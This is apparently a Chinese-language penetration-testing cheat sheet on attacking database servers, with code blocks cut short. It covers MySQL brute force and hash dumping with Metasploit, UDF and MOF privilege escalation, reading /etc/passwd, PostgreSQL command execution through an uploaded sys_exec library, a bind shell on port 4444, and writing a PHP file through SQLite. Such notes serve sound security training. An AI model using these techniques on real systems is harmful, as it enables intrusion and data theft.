漏洞评估
确定了最可行的攻击方法之后,您需要考虑如何访问目标。在脆弱性分析过程中,您可以结合前一阶段学到的信息,并用它来了解哪些攻击是可行的。其中,漏洞分析考虑了端口和漏洞扫描,通过抓取banner收集的数据以及收集情报期间收集的信息。
评估分类 | 书签 |
---|---|
网络评估 | |
Web应用程序评估 | |
数据库评估 |
数据库评估
mongodb
1 | 1. 介绍和Labs安装. |
[未汉化pdf和Labs] 链接: https://pan.baidu.com/s/1miMhRTI 密码: hAha
[NoSQLMap]工具链接:http://github.com/tcstool/nosqlmap
mysql
命令 | 描述 |
---|---|
select @@version | 显示mysql服务器版本 |
select version() | 显示mysql服务器版本 |
SHOW STATUS | 显示mysql服务器状态信息 |
show VARIABLES | 显示所有的mysql服务器变量 |
select user() | 查询当前数据库用户 |
SHOW VARIABLES LIKE ‘%datadir%’ | 显示包含数据字符串的所有变量 |
select load_file(‘/etc/passwd’); | 加载文件到数据库中 |
select 0xnnnnnn… INTO OUTFILE ‘/path/to/filename’ | 将数据写入文本文件. |
select 0xnnnnnn… INTO DUMPFILE ‘/path/to/filename’ | 将数据写入二进制文件. |
####怎样安装mysql数据库服务器 ?####
Lab: ubuntu / debian
1 | sudo apt-get install mysql-server |
编辑 /etc/mysql/mysql.conf.d/mysqld.cnf
, 和改变 绑定的地址.
1 | bind-address = 0.0.0.0 |
####允许远程访问####
1 | root@sh:~# ss -ant | grep ":3306" |
创建一个SQL文件 adduser.sql, 和执行这个命令: mysql -h 127.0.0.1 -u root -p mysql < adduser.sql
1 | CREATE USER 'mysqlsec'@'localhost' IDENTIFIED BY 'password'; |
如果成功了,你就能够远程访问MYSQL数据库服务器.
1 | root@sh:~# mysql -h 10.0.250.71 -u mysqlsec -p mysql |
####怎样爆破mysql ?####
1 | msf auxiliary(mysql_login) > show options |
####怎样把mysql哈希值dump出来 ?####
1 | msf auxiliary(mysql_hashdump) > show options |
####UDF权限提升####
1 |
|
1 | $ gcc -g -c raptor_udf2.c |
将上面的代码编译成一个这样的库文件。接下来,请转换为一个十六进制字符串:
1 | !/usr/bin/python |
上传该文件, 并用mysql用户定义一个函数 do_system.
1 | mysql > select @@plugin_dir; |
####MOF权限提升####
如果mysql部署在windows上,可以尝试用msf:
1 | msf > |
如果有足够的权限,还可以将数据写入os文件(启动,cron等)。
####参考链接####
- http://www.mysqltutorial.org/mysql-cheat-sheet.aspx
- http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
- https://www.rapid7.com/db/modules/exploit/windows/mysql/mysql_mof
- http://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html
postgresql
####数据库连接####
请连接到postgresql数据库,
1 | lab:~/ $ psql -h 127.0.0.1 -U postgres -W |
####数据库命令####
1 | postgres=# help |
1 | postgres=# \h |
1 | postgres=# \? |
#####列出数据库列表#####
1 | postgres=# \l |
#####列出数据库用户列表#####
1 | postgres=# \du |
Please try more details about postgresql database.
####列出目录列表####
1 | postgres=# select pg_ls_dir('/etc'); |
####文件读取####
方法一
1 | postgres=# select pg_read_file('postgresql.conf', 0, 200); |
方法二
1 | postgres=# drop table pwn; |
####写入文件####
1 | postgres=# DROP TABLE pwn; |
####UDF hack####
#####编译源#####
1 | lab: / $ git clone https://github.com/sqlmapproject/udfhack/ |
1 | lab: / $ gcc lib_postgresqludf_sys.c -I`pg_config --includedir-server` -fPIC -shared -o udf64.so |
#####命令执行#####
把udf.so转换为十六进制字符串。
1 | lab:~/ $ cat udf.so | hex |
利用数据库特性上传udf.so。
1 | postgres=# INSERT INTO pg_largeobject (loid, pageno, data) VALUES (19074, 0, decode('079c...', 'hex')); |
Library类库太大了,我们需要把它分成几块,详情可以查看https://github.com/sqlmapproject/sqlmap/issues/1170.
1 | postgres=# select * from pg_largeobject; |
成功上传library类库, 然后创建postgresql函数.
1 | postgres=# CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/udf64.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; |
用sys_exec执行命令, 然后什么也没有返回.
1 | postgres=# SELECT sys_exec('id'); |
执行命令后,清除函数。
1 | postgres=# DROP FUNCTION sys_exec(text); |
#####绑定shell#####
1 | // bind shell on port 4444 |
编译源码
1 | lab:postgres_cmd/ $ vim nc.c |
复制nc.so到postgresql的tmp目录, 或者你可以利用数据库特性上传so文件.
1 | lab:postgres_cmd/ $ sudo cp nc.so /tmp/systemd-private-374c1bd49d5f425ca21cca8cc6d89de7-postgresql.service-SKrVjI/tmp/nc.so |
为绑定shell创建执行函数,用客户端连接到目标.
1 | postgres=# CREATE OR REPLACE FUNCTION exec() RETURNS text AS '/tmp/nc.so', 'exec' LANGUAGE C STRICT; |
####METASPLOIT POSTGRESQL模块####
1 | use auxiliary/admin/postgres/postgres_readfile |
####参考链接####
https://github.com/sqlmapproject/udfhack/
https://github.com/sqlmapproject/sqlmap/issues/1170
http://zone.wooyun.org/content/4971
http://drops.wooyun.org/tips/6449
http://bernardodamele.blogspot.com/2009/01/command-execution-with-postgresql-udf.html
sqlite
sqlite_hacking
####连接数据库####
让我们开始在命令提示符下键入一个简单的sqlite3命令,它将为您提供SQLite命令提示符,您将在其中发出各种SQLite命令。
1 | ┌─[lab@core]─[~/share/pentestlab/Darknet] |
####生成####
常见的sqlite功能(注释,concate,substr,十六进制,引用,….)
1 | select 1; -- comments |
####读文件####
1 | sqlite> |
####写文件####
1 | sqlite> ATTACH DATABASE '/tmp/evil.php' as pwn; |
####命令执行####
1 | sqlite> .shell id |
####参考链接####
http://www.tutorialspoint.com/sqlite/
http://atta.cked.me/home/sqlite3injectioncheatsheet
curl_hacking
####常见操作####
1 | curl http://curl.haxx.se |
####参考链接####
$ man curl
http://curl.haxx.se/docs/manual.html
http://curl.haxx.se/docs/httpscripting.html
http://httpkit.com/resources/HTTP-from-the-Command-Line/
参考链接
- http://www.exploit-db.com/
- http://www.cvedetails.com/
- http://packetstormsecurity.com/
- http://www.securityfocus.com/bid
- http://nvd.nist.gov/
- http://osvdb.org/
- http://cve.mitre.org/
- http://sec.jetlib.com/
- http://0day.today/
- https://www.seebug.org/
- https://www.rapid7.com/db/
- http://zerodayinitiative.com/advisories/published/
- http://exploitsearch.net/
- http://nvd.nist.gov/download/nvd-rss-analyzed.xml
- http://www.intelligentexploit.com/
- https://wpvulndb.com/
- http://www.wordpressexploit.com/
- http://www.drupalexploit.com/
- http://www.openwall.com/lists/oss-security/
- http://exploitsearch.net/
- https://www.vulnerability-lab.com/